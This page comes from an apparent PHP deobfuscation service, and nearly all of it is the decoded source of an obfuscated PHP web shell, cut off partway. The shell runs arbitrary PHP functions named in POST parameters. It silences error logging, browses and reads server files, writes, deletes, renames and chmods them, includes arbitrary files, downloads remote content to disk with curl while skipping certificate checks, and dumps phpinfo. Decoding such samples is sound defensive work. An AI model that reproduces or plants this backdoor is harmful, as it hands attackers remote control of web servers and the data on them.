Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php header("Content-Encoding: identity"); call_user_func(function () { $localvar ..

Decoded Output download

<?php 
header("Content-Encoding: identity"); 
call_user_func(function () { 
    $localvar = new \stdClass(); 
    $localvar->var = new \stdClass(); 
    $localvar->function = new \stdClass(); 
    $localvar->function->list = new \stdClass(); 
    $localvar->function->lastCalledName = ""; 
    $localvar->logger = []; 
    $localvar->return = []; 
    $localvar->sLoader = true; 
    $localvar->modules = []; 
    $locvar = function () use ($localvar) { 
        $ooo = func_num_args(); 
        $ooO = func_get_args(); 
        $oo0 = array_shift($ooO); 
        $oOo = array_shift($ooO); 
        if ($ooo === 0) { 
            return $localvar; 
        } elseif ($ooo === 1 && is_array($oo0)) { 
            $oOO = $localvar; 
            foreach ($oo0 as $oOo) { 
                if ($oOO === null) { 
                    break; 
                } 
                if (property_exists($oOO, $oOo)) { 
                    $oOO = $oOO->{$oOo}; 
                } elseif (is_array($oOO) && array_key_exists($oOo, $oOO)) { 
                    $oOO = $oOO[$oOo]; 
                } else { 
                    $oOO = null; 
                } 
            } 
            return $oOO; 
        } elseif ($ooo === 1 && !is_array($oo0)) { 
            if (property_exists($localvar->var, $oo0)) { 
                return $localvar->var->{$oo0}; 
            } 
        } elseif ($ooo === 2) { 
            if (is_string($oo0)) { 
                return $localvar->var->{$oo0} = $oOo; 
            } 
        } 
        return null; 
    }; 
    $create_function = function () use ($localvar) { 
        $oO0 = $localvar->function->list; 
        $ooO = func_get_args(); 
        $oo0 = array_shift($ooO); 
        $o0o = array_shift($ooO); 
        if (is_string($oo0) && is_callable($o0o)) { 
            $oO0->{$oo0} = $o0o; 
        } 
    }; 
    $call_function = function () use ($localvar) { 
        $oO0 = $localvar->function->list; 
        $ooO = func_get_args(); 
        if (count($ooO) === 1 && is_array($ooO[0])) { 
            $ooO = $ooO[0]; 
        } 
        $o0O = array_shift($ooO); 
        $oo0 = array_shift($ooO); 
        if ($o0O === true || (bool) $o0O === true) { 
            if (property_exists($oO0, $oo0) && is_callable($oO0->{$oo0})) { 
                $localvar->function->lastCalledName = $oo0; 
                return call_user_func_array($oO0->{$oo0}, $ooO); 
            } 
        } else { 
            if (function_exists($oo0) && is_callable($oo0)) { 
                return call_user_func_array($oo0, $ooO); 
            } 
        } 
        return null; 
    }; 
    $reserved = null; 
    $create_function("III", function () { 
        return 0.1; 
    }); 
    $create_function("IIl", function () use ($localvar, $call_function) { 
        if (isset($_POST["__pwd"]) && isset($_POST["__fcn"])) { 
            $call_function( 
                false, 
                "ini_set", 
                "log_errors", 
                0 
            ); 
            $call_function( 
                false, 
                "set_error_handler", 
                function ($o00, $oooo, $oooO, $ooo0) use ( 
                    $localvar, 
                    $call_function 
                ) { 
                    $ooOo = new \stdClass(); 
                    $ooOo->typ = "php"; 
                    $ooOo->num = $o00; 
                    $ooOo->str = $oooo; 
                    $ooOo->file = $oooO; 
                    $ooOo->line = $ooo0; 
                    $localvar->logger[] = $ooOo; 
                } 
            ); 
            $ooOO = $_POST["__fcn"]; 
            if (isset($ooOO) && is_array($ooOO)) { 
                $call_function( 
                    false, 
                    "ini_set", 
                    "memory_limit", 
                    -1 
                ); 
                $call_function( 
                    false, 
                    "set_time_limit", 
                    0 
                ); 
                foreach ($ooOO as $id => $ooO0) { 
                    $o0O = ($oo0o = $call_function( 
                        false, 
                        "filter_var", 
                        $ooO0["islocal"], 
                        FILTER_VALIDATE_BOOLEAN 
                    )) 
                        ? $oo0o 
                        : false; 
                    $oo0 = $ooO0["name"]; 
                    $ooO = 
                        isset($ooO0["args"]) && is_array($ooO0["args"]) 
                            ? $ooO0["args"] 
                            : []; 
                    $localvar->return[$id] = $call_function( 
                        array_merge([$o0O, $oo0], $ooO) 
                    ); 
                } 
            } 
        } 
    }); 
    $create_function("II1", function () use ($localvar, $call_function) { 
        //ob_clean(); 
        print json_encode([ 
            "log" => $localvar->logger, 
            "rtn" => $localvar->return, 
        ]); 
        exit(); 
    }); 
    $create_function("IlI", function () use ($localvar, $call_function) { 
        $ooO = func_get_args(); 
        $oo0O = array_shift($ooO); 
        if (is_file($oo0O) === false) { 
            return null; 
        } 
        include_once $oo0O; 
        return true; 
    }); 
    $create_function("Ill", function () use ($localvar, $call_function) { 
        $ooO = func_get_args(); 
        $oo0O = array_shift($ooO); 
        $oo00 = array_shift($ooO); 
        if (is_file($oo0O) === false) { 
            return null; 
        } 
        include_once $oo0O; 
        return $call_function(true, $oo00); 
    }); 
    $create_function("Il1", function () use ($localvar, $call_function) { 
        $ooO = func_get_args(); 
        $oo0O = array_shift($ooO); 
        if (!is_dir($oo0O)) { 
            return null; 
        } 
        if ( 
            $call_function( 
                false, 
                "class_exists", 
                "DirectoryIterator" 
            ) 
        ) { 
            $oOoo = []; 
            foreach (new \DirectoryIterator($oo0O) as $oOoO) { 
                $oOoo[] = $oOoO->getFilename(); 
            } 
            return $oOoo; 
        } 
        return null; 
    }); 
    $create_function("I1I", function () use ($localvar, $call_function) { 
        $ooO = func_get_args(); 
        $oo0O = array_shift($ooO); 
        if (!is_dir($oo0O)) { 
            return null; 
        } 
        if ( 
            $dh = $call_function(false, "opendir", $oo0O) 
        ) { 
            $oOoo = []; 
            while ( 
                ($oOoO = $call_function( 
                    false, 
                    "readdir", 
                    $dh 
                )) !== false && 
                $oOoO !== null 
            ) { 
                $oOoo[] = $oOoO; 
            } 
            $call_function(false, "closedir", $dh); 
            return $oOoo; 
        } 
        return null; 
    }); 
    $create_function("I1l", function () use ($localvar, $call_function) { 
        $ooO = func_get_args(); 
        $oo0O = array_shift($ooO); 
        if (!is_dir($oo0O)) { 
            return null; 
        } 
        if ( 
            ($oOoo = $call_function( 
                false, 
                "scandir", 
                $oo0O 
            )) !== null && 
            is_array($oOoo) && 
            count($oOoo) > 0 
        ) { 
            return $oOoo; 
        } 
        return null; 
    }); 
    $create_function("I11", function () use ($localvar, $call_function) { 
        $ooO = func_get_args(); 
        $oo0O = array_shift($ooO); 
        if (!is_dir($oo0O)) { 
            return null; 
        } 
        foreach (["Il1", "I1I", "I1l"] as $oOo) { 
            if ( 
                ($oOoo = $call_function(true, $oOo, $oo0O)) !== null && 
                is_array($oOoo) && 
                count($oOoo) > 0 
            ) { 
                return $oOoo; 
            } 
        } 
        return null; 
    }); 
    $create_function("IIII", function () use ($localvar, $call_function) { 
        $ooO = func_get_args(); 
        $oo0O = array_shift($ooO); 
        if (!is_dir($oo0O)) { 
            return null; 
        } 
        $oOo0 = $call_function(true, "I11", $oo0O); 
        $oOoo = new stdClass(); 
        $oOoo->obj = new stdClass(); 
        $oOoo->obj->head = []; 
        $oOoo->obj->dir = []; 
        $oOoo->obj->file = []; 
        if (is_array($oOo0)) { 
            $oOoo->path = realpath($oo0O); 
            $oOoo->is_r = 
                $call_function( 
                    false, 
                    "is_readable", 
                    $oo0O 
                ) === true 
                    ? true 
                    : false; 
            $oOoo->is_w = 
                $call_function( 
                    false, 
                    "is_writable", 
                    $oo0O 
                ) === true 
                    ? true 
                    : false; 
            $oOoo->chm = 
                ($ch = $call_function( 
                    false, 
                    "fileperms", 
                    $oo0O 
                )) !== null 
                    ? $ch 
                    : false; 
            $oOOo = function ($oOOO, $oo0O) use ($call_function) { 
                $oOOO->size = is_dir($oo0O) === false ? filesize($oo0O) : 0; 
                $oOOO->is_r = 
                    $call_function( 
                        false, 
                        "is_readable", 
                        $oo0O 
                    ) === true 
                        ? true 
                        : false; 
                $oOOO->is_w = 
                    $call_function( 
                        false, 
                        "is_writable", 
                        $oo0O 
                    ) === true 
                        ? true 
                        : false; 
                $oOOO->chm = 
                    ($ch = $call_function( 
                        false, 
                        "fileperms", 
                        $oo0O 
                    )) !== null 
                        ? $ch 
                        : false; 
                $oOOO->owri = 
                    ($ow = $call_function( 
                        false, 
                        "fileowner", 
                        $oo0O 
                    )) !== null 
                        ? $ow 
                        : false; 
                $oOOO->grpi = 
                    ($gr = $call_function( 
                        false, 
                        "filegroup", 
                        $oo0O 
                    )) !== null 
                        ? $gr 
                        : false; 
                $oOOO->owr = 
                    ($ow = $call_function( 
                        false, 
                        "posix_getpwuid", 
                        $ow 
                    )) !== null 
                        ? $ow 
                        : false; 
                $oOOO->grp = 
                    ($gr = $call_function( 
                        false, 
                        "posix_getgrgid", 
                        $gr 
                    )) !== null 
                        ? $gr 
                        : false; 
                $oOOO->time = new stdClass(); 
                $oOOO->time->c = 
                    ($tm = $call_function( 
                        false, 
                        "filectime", 
                        $oo0O 
                    )) !== null 
                        ? $tm 
                        : false; 
                $oOOO->time->a = 
                    ($tm = $call_function( 
                        false, 
                        "fileatime", 
                        $oo0O 
                    )) !== null 
                        ? $tm 
                        : false; 
                $oOOO->time->m = 
                    ($tm = $call_function( 
                        false, 
                        "filemtime", 
                        $oo0O 
                    )) !== null 
                        ? $tm 
                        : false; 
            }; 
            foreach ($oOo0 as $oOO0) { 
                if ($oOO0 === ".") { 
                    continue; 
                } 
                $oO0o = $oOoo->path . DIRECTORY_SEPARATOR . $oOO0; 
                $oO0O = $oOO0 === "." || $oOO0 === ".."; 
                $oO00 = $oO0O || is_dir($oO0o) ? true : false; 
                $o0oo = false; 
                $o0oO = false; 
                if ($oO00 === false) { 
                    if ( 
                        ($o0o0 = $call_function(true, "IIIl", $oO0o)) !== 
                            null && 
                        $o0o0 !== false 
                    ) { 
                        $o0oo = $o0o0; 
                        $o0oO = is_dir($o0o0); 
                    } 
                } 
                $oOOO = new stdClass(); 
                $oOOO->name = $oOO0; 
                $oOOo($oOOO, $oO0o); 
                if ($o0oo !== false) { 
                    $oOOO->lnk = new stdClass(); 
                    $oOOO->lnk->path = $o0oo; 
                    $oOOO->lnk->isdir = $o0oO; 
                    $oOOo($oOOO->lnk, $o0oo); 
                } 
                if ($oO0O) { 
                    $oOoo->obj->head[] = $oOOO; 
                } elseif ($oO00 || ($o0oo !== false && $o0oO === true)) { 
                    $oOoo->obj->dir[] = $oOOO; 
                } else { 
                    $oOoo->obj->file[] = $oOOO; 
                } 
            } 
        } 
        return $oOoo; 
    }); 
    $create_function("III1", function () use ($localvar, $call_function) { 
        if (func_num_args() < 1) { 
            return null; 
        } 
        $ooO = func_get_args(); 
        $oo0O = array_shift($ooO); 
        if (!is_string($oo0O) || strlen($oo0O) === 0) { 
            return null; 
        } 
        if ( 
            !is_file($oo0O) && 
            (($oo0o = $call_function( 
                false, 
                "filter_var", 
                $oo0O, 
                FILTER_VALIDATE_URL 
            )) === null || 
                $oo0o === false) 
        ) { 
            return null; 
        } 
        if ( 
            ($oOO0 = $call_function( 
                array_merge( 
                    [ 
                        false, 
                        "file_get_contents", 
                    ], 
                    func_get_args() 
                ) 
            )) !== null && 
            $oOO0 !== false 
        ) { 
            return $oOO0; 
        } 
        return null; 
    }); 
    $create_function("IIlI", function () use ($localvar, $call_function) { 
        if ( 
            ($oOO0 = $call_function( 
                array_merge([true, "III1"], func_get_args()) 
            )) !== null && 
            $oOO0 !== false 
        ) { 
            return $call_function( 
                false, 
                "base64_encode", 
                $oOO0 
            ); 
        } 
        return null; 
    }); 
    $create_function("IIll", function () use ($localvar, $call_function) { 
        if (func_num_args() < 2) { 
            return null; 
        } 
        $ooO = func_get_args(); 
        $oo0O = array_shift($ooO); 
        if (!is_dir(dirname($oo0O))) { 
            $call_function(true, "IIl1", dirname($oo0O)); 
        } 
        return $call_function( 
            array_merge( 
                [ 
                    false, 
                    "file_put_contents", 
                ], 
                func_get_args() 
            ) 
        ); 
    }); 
    $create_function("II1I", function () use ($localvar, $call_function) { 
        if (func_num_args() < 2) { 
            return null; 
        } 
        $ooO = func_get_args(); 
        $oo0O = array_shift($ooO); 
        $o0Oo = array_shift($ooO); 
        if ( 
            ($o0Oo = $call_function( 
                false, 
                "base64_decode", 
                $o0Oo 
            )) !== null && 
            $o0Oo !== false 
        ) { 
            return $call_function( 
                array_merge([true, "IIll", $oo0O, $o0Oo], $ooO) 
            ); 
        } 
        return null; 
    }); 
    $create_function("II1l", function () use ($localvar, $call_function) { 
        if (func_num_args() < 1) { 
            return null; 
        } 
        $ooO = func_get_args(); 
        $oo0O = array_shift($ooO); 
        if ( 
            ($o0OO = $call_function( 
                false, 
                "fopen", 
                $oo0O, 
                "r" 
            )) !== null && 
            $o0OO !== false && 
            is_resource($o0OO) 
        ) { 
            $o0Oo = fread($o0OO, filesize($oo0O)); 
            fclose($o0OO); 
            return $o0Oo; 
        } 
        return null; 
    }); 
    $create_function("II11", function () use ($localvar, $call_function) { 
        if (func_num_args() < 1) { 
            return null; 
        } 
        $ooO = func_get_args(); 
        $oo0O = array_shift($ooO); 
        if ( 
            ($oOO0 = $call_function(true, "II1l", $oo0O)) !== null && 
            $oOO0 !== false 
        ) { 
            return $call_function( 
                false, 
                "base64_encode", 
                $oOO0 
            ); 
        } 
        return null; 
    }); 
    $create_function("IlII", function () use ($localvar, $call_function) { 
        if (func_num_args() < 2) { 
            return null; 
        } 
        $ooO = func_get_args(); 
        $oo0O = array_shift($ooO); 
        $o0Oo = array_shift($ooO); 
        $o0O0 = array_shift($ooO); 
        if ( 
            ($o0OO = $call_function( 
                false, 
                "fopen", 
                $oo0O, 
                true === $o0O0 ? "a" : "w" 
            )) !== null && 
            $o0OO !== false && 
            is_resource($o0OO) 
        ) { 
            $o00o = fwrite($o0OO, $o0Oo); 
            fclose($o0OO); 
            return $o00o; 
        } 
        return null; 
    }); 
    $create_function("IlIl", function () use ($localvar, $call_function) { 
        if (func_num_args() < 2) { 
            return null; 
        } 
        $ooO = func_get_args(); 
        $oo0O = array_shift($ooO); 
        $o0Oo = array_shift($ooO); 
        if ( 
            ($o0Oo = $call_function( 
                false, 
                "base64_decode", 
                $o0Oo 
            )) !== null && 
            $o0Oo !== false 
        ) { 
            return $call_function( 
                array_merge([true, "IlII", $oo0O, $o0Oo], $ooO) 
            ); 
        } 
        return null; 
    }); 
    $create_function("IIl1", function () use ($localvar, $call_function) { 
        $ooO = func_get_args(); 
        $oo0O = array_shift($ooO); 
        if (!is_dir($oo0O)) { 
            return $call_function( 
                array_merge([false, "mkdir", $oo0O], $ooO) 
            ); 
        } 
        return null; 
    }); 
    $create_function("IlI1", function () use ($localvar, $call_function) { 
        if (func_num_args() !== 2) { 
            return null; 
        } 
        $ooO = func_get_args(); 
        $oo0O = array_shift($ooO); 
        if (is_dir($oo0O) || is_file($oo0O)) { 
            return $call_function( 
                array_merge([false, "chmod", $oo0O], $ooO) 
            ); 
        } 
        return null; 
    }); 
    $create_function("IllI", function () use ($localvar, $call_function) { 
        if (func_num_args() === 0) { 
            return null; 
        } 
        $ooO = func_get_args(); 
        $oo0O = array_shift($ooO); 
        if (is_dir($oo0O) || is_file($oo0O)) { 
            return $call_function( 
                array_merge([false, "touch", $oo0O], $ooO) 
            ); 
        } 
        return null; 
    }); 
    $create_function("Illl", function () use ($localvar, $call_function) { 
        if (func_num_args() === 0) { 
            return null; 
        } 
        $ooO = func_get_args(); 
        $oo0O = array_shift($ooO); 
        if (file_exists($oo0O) === false) { 
            return null; 
        } 
        if (is_dir($oo0O)) { 
            $oOo0 = $call_function(true, "I11", $oo0O); 
            if (is_array($oOo0)) { 
                $oOo0 = array_diff($oOo0, [".", ".."]); 
                foreach ($oOo0 as $oOO0) { 
                    $oOO0 = $oo0O . DIRECTORY_SEPARATOR . $oOO0; 
                    $call_function(true, "Illl", $oOO0); 
                } 
            } 
            return $call_function(false, "rmdir", $oo0O); 
        } 
        return $call_function(false, "unlink", $oo0O); 
    }); 
    $create_function("Ill1", function () use ($localvar, $call_function) { 
        $ooO = func_get_args(); 
        $o00O = array_shift($ooO); 
        $o000 = array_shift($ooO); 
        $ooooo = $call_function( 
            false, 
            "filter_var", 
            array_shift($ooO), 
            FILTER_VALIDATE_BOOLEAN 
        ); 
        if (file_exists($o00O) === false) { 
            return null; 
        } 
        if (realpath($o00O) === realpath($o000)) { 
            return null; 
        } 
        $ooooO = pathinfo($o000, PATHINFO_DIRNAME); 
        if (!is_dir($ooooO)) { 
            $call_function(true, "IIl1", $ooooO, 0777, true); 
        } 
        if ($ooooo === true && file_exists($o000)) { 
            $call_function(true, "Illl", $o000); 
        } 
        if (is_dir($o00O)) { 
            if (!is_dir($o000)) { 
                return $call_function( 
                    false, 
                    "rename", 
                    $o00O, 
                    $o000 
                ); 
            } 
        } else { 
            if (!is_file($o000)) { 
                return $call_function( 
                    false, 
                    "rename", 
                    $o00O, 
                    $o000 
                ); 
            } 
        } 
        return null; 
    }); 
    $create_function("Il1I", function () use ($localvar, $call_function) { 
        $ooO = func_get_args(); 
        $oo0O = array_shift($ooO); 
        $oooo0 = array_shift($ooO); 
        $oooOo = array_shift($ooO); 
        $ooooo = array_shift($ooO); 
        $o00O = $oo0O . DIRECTORY_SEPARATOR . $oooo0; 
        $o000 = $oo0O . DIRECTORY_SEPARATOR . $oooOo; 
        return $call_function(true, "Ill1", $o00O, $o000, $ooooo); 
    }); 
    $create_function("Il1l", function () use ($localvar, $call_function) { 
        $ooO = func_get_args(); 
        $oooOO = array_shift($ooO); 
        $to = array_shift($ooO); 
        $oo0 = array_shift($ooO); 
        $ooooo = array_shift($ooO); 
        $o00O = $oooOO . DIRECTORY_SEPARATOR . $oo0; 
        $o000 = $to . DIRECTORY_SEPARATOR . $oo0; 
        return $call_function(true, "Ill1", $o00O, $o000, $ooooo); 
    }); 
    $create_function("Il11", function () use ($localvar, $call_function) { 
        $ooO = func_get_args(); 
        $oooOO = array_shift($ooO); 
        $to = array_shift($ooO); 
        $oo0 = array_shift($ooO); 
        $ooooo = $call_function( 
            false, 
            "filter_var", 
            array_shift($ooO), 
            FILTER_VALIDATE_BOOLEAN 
        ); 
        $oo0O = $oooOO . DIRECTORY_SEPARATOR . $oo0; 
        $o000 = $to . DIRECTORY_SEPARATOR . $oo0; 
        if (file_exists($oo0O) === false) { 
            return null; 
        } 
        if (realpath($oooOO) === realpath($to)) { 
            return null; 
        } 
        if ($ooooo === true && file_exists($o000)) { 
            $call_function(true, "Illl", $o000); 
        } 
        if (is_dir($oo0O)) { 
            if (!is_dir($o000)) { 
                $oOo0 = $call_function(true, "I11", $oo0O); 
                $call_function(true, "IIl1", $o000); 
                if (is_array($oOo0)) { 
                    $oOo0 = array_diff($oOo0, [".", ".."]); 
                    foreach ($oOo0 as $oOO0) { 
                        $call_function(true, "Il11", $oo0O, $o000, $oOO0); 
                    } 
                } 
                return true; 
            } 
        } else { 
            if (!is_file($o000)) { 
                return $call_function(false, "copy", $oo0O, $o000); 
            } 
        } 
        return null; 
    }); 
    $create_function("I1II", function () use ($localvar, $call_function) { 
        $ooO = func_get_args(); 
        $oo0O = array_shift($ooO); 
        return $call_function(true, "IIIl", $oo0O) !== false; 
    }); 
    $create_function("IIIl", function () use ($localvar, $call_function) { 
        $ooO = func_get_args(); 
        $oo0O = array_shift($ooO); 
        if (is_link($oo0O) && ($o0o0 = readlink($oo0O))) { 
            return $o0o0; 
        } elseif ( 
            ($oooO0 = pathinfo($oo0O, PATHINFO_EXTENSION)) && 
            strtolower($oooO0) === "lnk" 
        ) { 
            return $call_function(true, "I1Il", $oo0O); 
        } 
        return false; 
    }); 
    $create_function("I1Il", function () use ($localvar, $call_function) { 
        $ooO = func_get_args(); 
        $oo0O = array_shift($ooO); 
        if (!file_exists($oo0O)) { 
            return false; 
        } 
        if (is_link($oo0O) && ($o0o0 = readlink($oo0O))) { 
            return $o0o0; 
        } 
        if ( 
            ($o0OO = $call_function( 
                false, 
                "fopen", 
                $oo0O, 
                "rb" 
            )) !== null && 
            $o0OO !== false && 
            is_resource($o0OO) 
        ) { 
            $ooo0o = []; 
            while (!feof($o0OO)) { 
                $ooo0o[] = fread($o0OO, 1); 
            } 
            fclose($o0OO); 
            if (count($ooo0o) < 20) { 
                return false; 
            } 
            if ($ooo0o[0] !== "L") { 
                return false; 
            } 
            if ( 
                ord($ooo0o[4]) !== 0x01 || 
                ord($ooo0o[5]) !== 0x14 || 
                ord($ooo0o[6]) !== 0x02 || 
                ord($ooo0o[7]) !== 0x00 || 
                ord($ooo0o[8]) !== 0x00 || 
                ord($ooo0o[9]) !== 0x00 || 
                ord($ooo0o[10]) !== 0x00 || 
                ord($ooo0o[11]) !== 0x00 || 
                ord($ooo0o[12]) !== 0xc0 || 
                ord($ooo0o[13]) !== 0x00 || 
                ord($ooo0o[14]) !== 0x00 || 
                ord($ooo0o[15]) !== 0x00 || 
                ord($ooo0o[16]) !== 0x00 || 
                ord($ooo0o[17]) !== 0x00 || 
                ord($ooo0o[18]) !== 0x00 || 
                ord($ooo0o[19]) !== 0x46 
            ) { 
                return false; 
            } 
            $i = 20; 
            if (count($ooo0o) < $i + 4) { 
                return false; 
            } 
            $ooo0O = ord($ooo0o[$i]); 
            $ooo0O = $ooo0O | (ord($ooo0o[++$i]) << 8); 
            $ooo0O = $ooo0O | (ord($ooo0o[++$i]) << 16); 
            $ooo0O = $ooo0O | (ord($ooo0o[++$i]) << 24); 
            $ooo00 = $ooo0O & 0x00000001 ? true : false; 
            $ooOoo = $ooo0O & 0x00000002 ? true : false; 
            if (!$ooOoo) { 
                return false; 
            } 
            if ($ooo00) { 
                $i = 76; 
                if (count($ooo0o) < $i + 2) { 
                    return false; 
                } 
                $a = ord($ooo0o[$i]); 
                $a = $a | (ord($ooo0o[++$i]) << 8); 
            } 
            $i = 78 + 4 + $a; 
            if (count($ooo0o) < $i + 4) { 
                return false; 
            } 
            $b = ord($ooo0o[$i]); 
            $b = $b | (ord($ooo0o[++$i]) << 8); 
            $b = $b | (ord($ooo0o[++$i]) << 16); 
            $b = $b | (ord($ooo0o[++$i]) << 24); 
            $i = 78 + $a + $b; 
            if (count($ooo0o) < $i + 4) { 
                return false; 
            } 
            $c = ord($ooo0o[$i]); 
            $c = $c | (ord($ooo0o[++$i]) << 8); 
            $c = $c | (ord($ooo0o[++$i]) << 16); 
            $c = $c | (ord($ooo0o[++$i]) << 24); 
            $i = 78 + $a + $b + $c; 
            if (count($ooo0o) < $i + 1) { 
                return false; 
            } 
            $ooOoO = ""; 
            for (; $i < count($ooo0o); ++$i) { 
                if (!ord($ooo0o[$i])) { 
                    break; 
                } 
                $ooOoO .= $ooo0o[$i]; 
            } 
            if (empty($ooOoO)) { 
                return false; 
            } 
            return $ooOoO; 
        } 
        return false; 
    }); 
    $create_function("I1I1", function () use ($localvar, $call_function) { 
        $ooO = func_get_args(); 
        $ooOo0 = array_shift($ooO); 
        if ( 
            ($ch = $call_function( 
                false, 
                "curl_init" 
            )) !== null && 
            $ch !== false 
        ) { 
            $ooOOo = ""; 
            $call_function( 
                false, 
                "curl_setopt", 
                $ch, 
                CURLOPT_URL, 
                $ooOo0 
            ); 
            $call_function( 
                false, 
                "curl_setopt", 
                $ch, 
                CURLOPT_SSL_VERIFYPEER, 
                false 
            ); 
            $call_function( 
                false, 
                "curl_setopt", 
                $ch, 
                CURLOPT_FOLLOWLOCATION, 
                true 
            ); 
            $call_function( 
                false, 
                "curl_setopt", 
                $ch, 
                CURLOPT_RETURNTRANSFER, 
                1 
            ); 
            $ooOOo = $call_function( 
                false, 
                "curl_exec", 
                $ch 
            ); 
            $call_function( 
                false, 
                "curl_close", 
                $ch 
            ); 
            return $ooOOo; 
        } 
        return null; 
    }); 
    $create_function("I1lI", function () use ($localvar, $call_function) { 
        $ooO = func_get_args(); 
        $ooOo0 = array_shift($ooO); 
        $oo0O = array_shift($ooO); 
        if ( 
            ($ch = $call_function( 
                false, 
                "curl_init" 
            )) !== null && 
            $ch !== false && 
            ($o0OO = $call_function( 
                false, 
                "fopen", 
                $oo0O, 
                "w" 
            )) !== null && 
            $o0OO !== false && 
            is_resource($o0OO) 
        ) { 
            $call_function( 
                false, 
                "curl_setopt", 
                $ch, 
                CURLOPT_URL, 
                $ooOo0 
            ); 
            $call_function( 
                false, 
                "curl_setopt", 
                $ch, 
                CURLOPT_FILE, 
                $o0OO 
            ); 
            $call_function( 
                false, 
                "curl_setopt", 
                $ch, 
                CURLOPT_SSL_VERIFYPEER, 
                false 
            ); 
            $call_function( 
                false, 
                "curl_setopt", 
                $ch, 
                CURLOPT_FOLLOWLOCATION, 
                true 
            ); 
            $ooOOo = $call_function( 
                false, 
                "curl_exec", 
                $ch 
            ); 
            $call_function( 
                false, 
                "curl_close", 
                $ch 
            ); 
            return $ooOOo && fclose($o0OO); 
        } 
        return null; 
    }); 
    $create_function("I1ll", function () use ($localvar, $call_function) {}); 
    $create_function("I1l1", function () use ($localvar, $call_function) { 
        if ( 
            ($ooOOO = $call_function( 
                false, 
                "ob_start" 
            )) !== null && 
            $ooOOO !== false 
        ) { 
            $call_function( 
                array_merge( 
                    [false, "phpinfo"], 
                    func_get_args() 
                ) 
            ); 
            $o0Oo = $call_function( 
                false, 
                "ob_get_contents" 
            ); 
            $call_function( 
                false, 
                "ob_get_clean" 
            ); 
            return $o0Oo; 
        } 
        return null; 
    }); 
    $create_function("I11I", function () use ($localvar, $call_function) { 
        $ooO = func_get_args(); 
        $o0O = $call_function( 
            false, 
            "filter_var", 
            array_shift($ooO), 
            FILTER_VALIDATE_BOOLEAN 
        ); 
        $oo0 = array_shift($ooO); 
        if ($o0O === true) { 
            if (property_exists($oO0, $oo0) && is_callable($oO0->{$oo0})) { 
                return true; 
            } 
        } else { 
            if (function_exists($oo0) && is_callable($oo0)) { 
                return true; 
            } 
        } 
        return false; 
    }); 
    $create_function("I11l", function () use ($localvar, $call_function) { 
        $ooO = func_get_args(); 
        $o0O = $call_function( 
            false, 
            "filter_var", 
            array_shift($ooO), 
            FILTER_VALIDATE_BOOLEAN 
        ); 
        $o0o = array_shift($ooO); 
        if (is_array($o0o)) { 
            $o0o = $call_function($o0o); 
        } 
        if (is_string($o0o)) { 
            foreach ($ooO as &$ooOO0) { 
                if (is_array($ooOO0)) { 
                    $ooOO0 = $call_function($ooOO0); 
                } 
            } 
            return $call_function(array_merge([$o0O, $o0o], $ooO)); 
        } 
        return null; 
    }); 
    $create_function("I111", function () use ($localvar, $call_function) { 
        $ooO = func_get_args(); 
        $ooO0o = array_shift($ooO); 
        if (is_string($ooO0o) === false || strlen($ooO0o) === 0) { 
            return null; 
        } 
        $ooO0O = ""; 
        foreach (str_split($ooO0o) as $ooO00) { 
            $oo0oo = ord($ooO00); 
            if ($oo0oo >= 33 && $oo0oo <= 126) { 
                $ooO0O .= chr(33 + (($oo0oo + 14) % 94)); 
            } else { 
                $ooO0O .= chr($oo0oo); 
            } 
        } 
        return $ooO0O; 
    }); 
    $create_function("IIIII", function () use ($localvar, $call_function) { 
        $ooO = func_get_args(); 
        $oo0 = array_shift($ooO); 
        if ( 
            $call_function( 
                false, 
                "class_exists", 
                $oo0 
            ) 
        ) { 
            try { 
                return (new \ReflectionClass($oo0))->newInstanceArgs($ooO); 
            } catch (Exception $_) { 
            } 
        } 
        return null; 
    }); 
    $create_function("IIIIl", function () use ($localvar, $call_function) { 
        $ooO = func_get_args(); 
        $oo0O = array_shift($ooO); 
        $oo0oO = array_shift($ooO); 
        $oo0o0 = array_shift($ooO); 
        if (is_dir($oo0O) === false) { 
            return null; 
        } 
        if ( 
            ($oo0Oo = $call_function( 
                true, 
                "IIIII", 
                "RecursiveDirectoryIterator", 
                $oo0O, 
                $oo0oO 
            )) !== null && 
            $oo0Oo !== false && 
            ($oo0OO = $call_function( 
                true, 
                "IIIII", 
                "RecursiveIteratorIterator", 
                $oo0Oo, 
                $oo0o0 
            )) !== null && 
            $oo0OO !== false 
        ) { 
            return $oo0OO; 
        } 
        return null; 
    }); 
    $create_function("IIII1", function () use ($localvar, $call_function) { 
        return null; 
    }); 
    $create_function("IIIlI", function () use ($localvar, $call_function) { 
        $ooO = func_get_args(); 
        $oo0O = array_shift($ooO); 
        if (is_dir($oo0O) === false) { 
            return null; 
        } 
        if ( 
            ($oo0OO = $call_function( 
                true, 
                "IIIIl", 
                $oo0O, 
                RecursiveDirectoryIterator::SKIP_DOTS, 
                RecursiveIteratorIterator::SELF_FIRST 
            )) !== null && 
            $oo0OO !== false 
        ) { 
            $oo0O0 = []; 
            foreach ($oo0OO as $oo00o) { 
                $ooOo = new \stdClass(); 
                $ooOo->path = realpath($oo00o); 
                $ooOo->isDir = $oo00o->isDir(); 
                $oo0O0[] = $ooOo; 
            } 
            return $oo0O0; 
        } 
        return null; 
    }); 
    $create_function("IIIll", function () use ($localvar, $call_function) { 
        $ooO = func_get_args(); 
        $oo0O = array_shift($ooO); 
        $oo00O = array_shift($ooO); 
        if (is_dir($oo0O) === false) { 
            return null; 
        } 
        if ( 
            ($oo0OO = $call_function( 
                true, 
                "IIIIl", 
                $oo0O, 
                RecursiveDirectoryIterator::SKIP_DOTS, 
                RecursiveIteratorIterator::SELF_FIRST 
            )) !== null && 
            $oo0OO !== false && 
            ($oo000 = $call_function( 
                true, 
                "IIIII", 
                "RegexIterator", 
                $oo0OO, 
                $oo00O 
            )) !== null && 
            $oo000 !== false 
        ) { 
            $oo0O0 = []; 
            foreach ($oo000 as $oo00o) { 
                $ooOo = new \stdClass(); 
                $ooOo->path = realpath($oo00o); 
                $ooOo->isDir = $oo00o->isDir(); 
                $oo0O0[] = $ooOo; 
            } 
            return $oo0O0; 
        } 
        return null; 
    }); 
    $create_function("IIIl1", function () use ($localvar, $call_function) { 
        $ooO = func_get_args(); 
        $oo0O = array_shift($ooO); 
        $oOo0 = array_shift($ooO); 
        $oOooo = array_shift($ooO); 
        if ( 
            is_dir($oo0O) === false || 
            is_array($oOo0) === false || 
            is_dir($oOooo) === false 
        ) { 
            return null; 
        } 
        $oOo0 = array_map(function ($v) use ($oo0O, $call_function) { 
            $ooOo = new \stdClass(); 
